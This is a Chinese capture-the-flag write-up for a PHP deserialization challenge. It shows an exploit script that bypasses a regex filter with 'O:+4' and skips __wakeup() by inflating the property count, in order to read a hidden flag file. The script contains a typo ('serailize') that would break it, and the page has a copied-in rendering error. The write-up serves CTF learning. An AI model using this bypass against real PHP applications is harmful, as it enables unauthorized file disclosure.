当前位置: 代码迷 >> 综合 >> Web_php_unserialize wp
  详细解决方案

Web_php_unserialize wp

热度:75   发布时间:2024-03-08 04:08:37.0

又到了我最爱的搞安全时间草
这题,没有题目描述,只有一个标题告诉大概是什么东西,先查unserialize
php unserialize()
unserialize是对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
用法:unserialize ( string $str ) : mixed 解释一下,这个mixed 说明一个参数可以接受多种不同的(但不一定是所有的)类型。
##str
序列化后的字符串。
若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。
返回的是转换之后的值,可为 integer、float、string、array 或 object。
如果传递的str不可解序列化,返回FALSE,并且产生E_NOTICE(可能是警告?)

打开所给环境是一段代码
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
咋一看真的很乱,但是看到一些关键的,首先以get方式传var过去,然后要base64解码作为var的值,进入这个preg_match指令,初步怀疑是是否匹配的意思
一百度立马看到一个preg_match绕过,和我想的差不多,反正大概是在这里进行破坏
##preg_match — 执行匹配正则表达式
preg_match ( string $pattern , string KaTeX parse error: Expected 'EOF', got '&' at position 18: …bject [, array &?matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int
搜索subject与pattern给定的正则表达式的一个匹配.
matches
如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
preg_match()返回 pattern 的匹配次数。
它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。
preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。
如果发生错误preg_match()返回 FALSE。
也就是说此时此表达式值不能为1,否则跳出stop hacking
也就是说需要做一个var值,使其与所给的字段没得匹配这个意思
#模式分隔符后的"i"标记这是一个大小写不敏感的搜索
#模式中的\b标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配单词的部分内容比如"webbing" 或 “cobweb”
/[oc]:\d+:/i也就是说这段玩意儿得这么看 /和后面的/i使大小写不敏感标记,也就是说实际内容是[oc]:\d+:
这个东西很奇怪 到底是什么,不清楚,但是看到下面指令,unserialize指令就知道他可能已经被序列化,而且很有可能就是flag
#isset — 检测变量是否已设置并且非 NULL
#highlight_file() 函数对文件进行语法高亮显示。
也就是说核心就是给一个var,那就用get方式给一段base64编码
传了一段var=ZnVja3lvdQ==过去,没有出现任何东西,重新传一个
也没有。此路不通,因为甚至把匹配字段放进去也没报错
突然发现有一句//the secret is in the fl4g.php,打开之后一样什么东西都没有,再尝试给var赋值
还是没有,说明还是错了

看到上面定义了一个__wakeup(),非常熟悉
#若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。
#对于任何可能包含重要的安全性数据的对象,如果可能,应该使该对象不可序列化。如果它必须为可序列化的,请尝试生成特定字段来保存不可序列化的重要数据。

两个点:1:绕过preg_match()匹配绕过
2:unserialize() 反序列化执行_wakeup()的绕过 (想到了)

知识点:正则表达式,一种语法,另开一笔记来详写,[oc]:\d+:这一句说的就是匹配o或者c,\d+代表一个或多个数字
知识点2:反序列化:php程序为了保存和转储对象,提供了序列化的方法,
php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。
比如
a:3:{s:1:“x”;s:5:“bitch”;s:1:“y”;s:4:“fuck”;s:1:“z”;s:3:“you”;}
这一段就是被序列化过的
a:3代表这是一个数组,里面有3个元素
s:1:“x”;s:5:"bitch"这样代表的是一个数组
s:1:“x”; s代表字符串,x为数组名
s:5:“bitch”; s代表字符串,5为字符串长度

O:4:“Test”:3:{s:1:“a”;s:5:“ThisA”;s:4:"%00*%00b";s:5:“ThisB”;s:7:"%00Test%00c";s:5:“ThisC”;}
前面的O是对象,:4表示该对象名称有4个字符;:Test表示改对象的名称;:3表示改对象里有3个成员。

知识点3:__wakeup()执行漏洞(一个字符串或对象被序列化后,如果其属性被修改,则不会执行
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

大概懂了整个原理了,我都不知道从哪写起,槽点实在是太他妈多了···
先放脚本
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $A = new Demo('fl4g.php'); $C=serailize($A); $C=str_replace('O:4','O:+4',$C); $C=str_replace(':1:',':2:',$C); echo base64_encode($C); ?>
原理:把Demo类序列化,然后得到O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
4改成+4绕过匹配,:1:改成:2:绕过__wakeup()
然后base64编码,赋给var输入进url
然后就有flag了
哈哈哈